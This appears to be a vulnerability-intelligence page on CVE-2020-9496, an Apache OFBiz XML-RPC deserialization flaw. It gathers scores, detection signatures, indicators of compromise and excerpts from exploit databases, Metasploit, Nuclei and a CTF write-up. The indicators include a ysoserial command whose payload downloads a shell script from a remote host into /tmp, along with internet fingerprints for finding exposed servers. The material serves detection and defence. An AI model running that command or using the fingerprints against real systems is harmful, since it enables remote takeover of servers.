CVE-2020-9496
published 2020-07-15CVE-2020-9496: XML-RPC request are vulnerable to unsafe deserialization and Cross-Site Scripting issues in Apache OFBiz 17.12.03
PriorityP183medium6.1CVSS 3.1
AVNACLPRNUIRSCCLILAN
ITWEXPLOITVulnCheck KEVInitial access
Exploited in the wild
EPSS
98.93%
99.9th percentile
XML-RPC request are vulnerable to unsafe deserialization and Cross-Site Scripting issues in Apache OFBiz 17.12.03
Affected
2 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| apache | ofbiz | — | — |
| apache | ofbiz | — | — |
Detection & IOCsextracted from sources · hover to see the quote
url/webtools/control/xmlrpc
commandjava -jar ysoserial-master-d367e379d9-1.jar CommonsBeanutils1 "wget $ip/shell.sh -O /tmp/shell.sh"↗
urlhttps://jitpack.io/com/github/frohoff/ysoserial/master-d367e379d9-1/ysoserial-master-d367e379d9-1.jar↗
sigma
matchers: faultString / No such service [ProjectDiscovery] / methodResponse in body; Content-Type: text/xml in header; HTTP 200
- →The vulnerable unauthenticated endpoint is /webtools/control/xmlrpc (also /webtools/control/ping). POST requests with a serialized Java payload in the body trigger deserialization. Look for POST requests to this path with Content-Type: application/xml. ↗
- →Exploit payloads use ysoserial with the CommonsBeanutils1 or ROME gadget chain, base64-encoded and embedded in the POST body prefixed with a string such as 'ProjectDiscovery'. Detect anomalously large base64 blobs in XML-RPC POST bodies to /webtools/control/xmlrpc. ↗
- →A successful probe returns an HTTP 200 response with body containing 'faultString', 'No such service [ProjectDiscovery]', and 'methodResponse', and a response header of 'Content-Type: text/xml'. Use these as detection signatures.
- →Shodan/FOFA fingerprints for exposed OFBiz instances: http.html contains 'ofbiz' or cookie 'ofbiz.visitor=' is present.
- →Post-exploitation dropper is written to /tmp/ (e.g. /tmp/shell.sh, /tmp/AJDUKNgC). Monitor for curl/wget writing executable files to /tmp followed by chmod +x and execution. ↗
- →The Metasploit module is exploit/linux/http/apache_ofbiz_deserialization. Detect its use by the characteristic HTTP dropper URL pattern and curl user-agent in server logs. ↗
- ·CVE-2020-9496 affects Apache OFBiz versions prior to 17.12.04. The fixed version is 17.12.04. Versions up to 18.12.11 may also be exploitable via auth bypass CVE-2023-51467 using the CommonsBeanutils1 gadget chain. ↗
- ·The Metasploit module's automatic check may report the target as not exploitable even when it is; ForceExploit must be set to true to proceed in some configurations. ↗
CVSS provenance
nvdv3.16.1MEDIUMCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
nvdv2.04.3MEDIUMAV:N/AC:M/Au:N/C:N/I:P/A:N
vulncheck6.1MEDIUM
vendor_apache6.1MEDIUM
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
GHSA-p23h-x6wc-8w4g: XML-RPC request are vulnerable to unsafe deserialization and Cross-Site Scripting issues in Apache OFBiz 17
ghsa_unreviewed·2022-05-24
CVE-2020-9496 [MEDIUM] CWE-79 GHSA-p23h-x6wc-8w4g: XML-RPC request are vulnerable to unsafe deserialization and Cross-Site Scripting issues in Apache OFBiz 17
XML-RPC request are vulnerable to unsafe deserialization and Cross-Site Scripting issues in Apache OFBiz 17.12.03
VulnCheck
Apache OFBiz Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
vulncheck·2020·CVSS 6.1
CVE-2020-9496 [MEDIUM] Apache OFBiz Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Apache OFBiz Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
XML-RPC request are vulnerable to unsafe deserialization and Cross-Site Scripting issues in Apache OFBiz 17.12.03
Affected: Apache OFBiz
Required Action: Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable.
Exploitation References: https://cujo.com/the-sysrv-botnet-and-how-it-evolved/; https://www.botconf.eu/wp-content/uploads/2022/05/Botconf2022-24-PalotayZsigovits.pdf
Exploit PoC: https://vulncheck.com/xdb/1ba0afd7fa9b; https://vulncheck.com/xdb/c223270ee714; https://vulncheck.com/xdb/e8154145f65b; https://vulncheck.com/xdb/57d833c9b299; https://vulncheck.com/xdb/4e305fcd7313
Apache
Apache ofbiz: CVE-2020-9496
vendor_apache·CVSS 6.1
CVE-2020-9496 [MEDIUM] Apache ofbiz: CVE-2020-9496
Apache ofbiz: CVE-2020-9496
; affected releases: 17.12.03; fixed in 17.12.04.
No detection rules found.
Exploit-DB
ApacheOfBiz 17.12.01 - Remote Command Execution (RCE)
exploitdb·2021-08-04·CVSS 6.1
CVE-2020-9496 [MEDIUM] ApacheOfBiz 17.12.01 - Remote Command Execution (RCE)
ApacheOfBiz 17.12.01 - Remote Command Execution (RCE)
---
# Exploit Title: ApacheOfBiz 17.12.01 - Remote Command Execution (RCE) via Unsafe Deserialization of XMLRPC arguments
# Date: 2021-08-04
# Exploit Author: Álvaro Muñoz, Adrián Díaz (s4dbrd)
# Vendor Homepage: https://ofbiz.apache.org/index.html
# Software Link: https://archive.apache.org/dist/ofbiz/apache-ofbiz-17.12.01.zip
# Version: 17.12.01
# Tested on: Linux
# CVE : CVE-2020-9496
# Reference: https://securitylab.github.com/advisories/GHSL-2020-069-apache_ofbiz/
# Description: This CVE was discovered by Alvaro Muñoz, but I have created this POC to automate the process and the necessary requests to successfully exploit it and get RCE.
#!/usr/bin/env bash
# Because the 2 xmlrpc related requets in webtools (xmlrpc and ping) a
Metasploit
Apache OFBiz XML-RPC Java Deserialization
metasploit·CVSS 9.8
CVE-2023-51467 [CRITICAL] Apache OFBiz XML-RPC Java Deserialization
Apache OFBiz XML-RPC Java Deserialization
This module exploits a Java deserialization vulnerability in Apache OFBiz's unauthenticated XML-RPC endpoint /webtools/control/xmlrpc for versions prior to 17.12.01 using the ROME gadget chain. Versions up to 18.12.11 are exploitable utilizing an auth bypass CVE-2023-51467 and use the CommonsBeanutils1 gadget chain. Verified working on 18.12.09, 17.12.01, and 15.12
Nuclei
Apache OFBiz 17.12.03 - Cross-Site Scripting
nuclei·CVSS 6.1
CVE-2020-9496 [MEDIUM] Apache OFBiz 17.12.03 - Cross-Site Scripting
Apache OFBiz 17.12.03 - Cross-Site Scripting
Apache OFBiz 17.12.03 contains cross-site scripting and unsafe deserialization vulnerabilities via an XML-RPC request.
Template:
id: CVE-2020-9496
info:
name: Apache OFBiz 17.12.03 - Cross-Site Scripting
author: dwisiswant0
severity: medium
description: Apache OFBiz 17.12.03 contains cross-site scripting and unsafe deserialization vulnerabilities via an XML-RPC request.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Apply the latest security patches or upgrade to a non-vulnerable version of Apache OFBiz.
reference:
- http://packetstorm
Greynoiseio
NoiseLetter September 2025
blogs_greynoiseio
NoiseLetter September 2025
CVE Disclosure Early Warning Get an early warning when traffic spikes indicate a high likelihood of new disclosures
Compromised Asset Detection Find out immediately if an asset communicates with a malicious IP address
Vulnerability Prioritization Get real-time insight into active exploitation trends to better understand risk and severity
SOC Efficiency Filter out noisy, low priority and false-positive alerts from mass internet scanners
Incident Investigation Add context to incidents to speed the determinations of scope and timelines
Threat Hunting Quickly identify anomalous behavior and enrich your threat hunting campaigns
Why GreyNoise
CVE Disclosure Early Warning Get an early warning when traffic spikes indicate a high likelihood of new disclosures
Compromised Asset Detection Fin
CTF
Monitors / README
ctf_writeups·CVSS 6.1
[MEDIUM] Monitors / README
# Monitors - HackTheBox - Writeup
Linux, 40 Base Points, Hard
## Machine
### TL;DR;
To solve this machine, we begin by enumerating open services – finding only ports ```22``` and ```80```.
***User:*** Finding WordPress plugin using ```wpscan``` with ```LFI``` vulnerability, get credentials from ```wp-config.php``` using LFI, Find another vhost ```cacti-admin.monitors.htb```, with Cacti system, get a reverse shell, Find ```/home/marcus/.backup/backup.sh``` file with user ```marcus``` credentials and get the user flag.
***Root:*** Find ```notes.txt``` in ```/home/marcus``` directory, Find running container with vulnerability (CVE-2020-9496), Use ```sys-module-capability``` to container escape by loading kernel module and get the root flag.
## Monitors Solution
### User
Let's start
http://packetstormsecurity.com/files/158887/Apache-OFBiz-XML-RPC-Java-Deserialization.htmlhttp://packetstormsecurity.com/files/161769/Apache-OFBiz-XML-RPC-Java-Deserialization.htmlhttp://packetstormsecurity.com/files/163730/Apache-OfBiz-17.12.01-Remote-Command-Execution.htmlhttps://lists.apache.org/thread.html/r0a0a701610b3bcdf14634047313adab3f1628bb9aa55cf29cd262ef5%40%3Ccommits.ofbiz.apache.org%3Ehttps://lists.apache.org/thread.html/r108a964764b8bd21ebd32ccd4f51c183ee80a251c105b849154a8e9d%40%3Ccommits.ofbiz.apache.org%3Ehttps://lists.apache.org/thread.html/r8fb319dc1f196563955fbf5e9cf454fb9d6c27c2058066445af7f8cb%40%3Cuser.ofbiz.apache.org%3Ehttps://lists.apache.org/thread.html/ra43cfe80226c3b23cd775f3543da10c035ad9c9943cfe8a680490730%40%3Cuser.ofbiz.apache.org%3Ehttps://lists.apache.org/thread.html/raf6020f765f12711e817ce13df63ecd7d677eebea8001e0473ee7c84%40%3Cannounce.apache.org%3Ehttps://lists.apache.org/thread.html/rde93e1c91620335b72b798f78ab4459d3f7b06f96031d8ce86a18825%40%3Cnotifications.ofbiz.apache.org%3Ehttps://s.apache.org/l0994http://packetstormsecurity.com/files/158887/Apache-OFBiz-XML-RPC-Java-Deserialization.htmlhttp://packetstormsecurity.com/files/161769/Apache-OFBiz-XML-RPC-Java-Deserialization.htmlhttp://packetstormsecurity.com/files/163730/Apache-OfBiz-17.12.01-Remote-Command-Execution.htmlhttps://lists.apache.org/thread.html/r0a0a701610b3bcdf14634047313adab3f1628bb9aa55cf29cd262ef5%40%3Ccommits.ofbiz.apache.org%3Ehttps://lists.apache.org/thread.html/r108a964764b8bd21ebd32ccd4f51c183ee80a251c105b849154a8e9d%40%3Ccommits.ofbiz.apache.org%3Ehttps://lists.apache.org/thread.html/r8fb319dc1f196563955fbf5e9cf454fb9d6c27c2058066445af7f8cb%40%3Cuser.ofbiz.apache.org%3Ehttps://lists.apache.org/thread.html/ra43cfe80226c3b23cd775f3543da10c035ad9c9943cfe8a680490730%40%3Cuser.ofbiz.apache.org%3Ehttps://lists.apache.org/thread.html/raf6020f765f12711e817ce13df63ecd7d677eebea8001e0473ee7c84%40%3Cannounce.apache.org%3Ehttps://lists.apache.org/thread.html/rde93e1c91620335b72b798f78ab4459d3f7b06f96031d8ce86a18825%40%3Cnotifications.ofbiz.apache.org%3Ehttps://s.apache.org/l0994
2020-07-15
Published
Exploited in the wild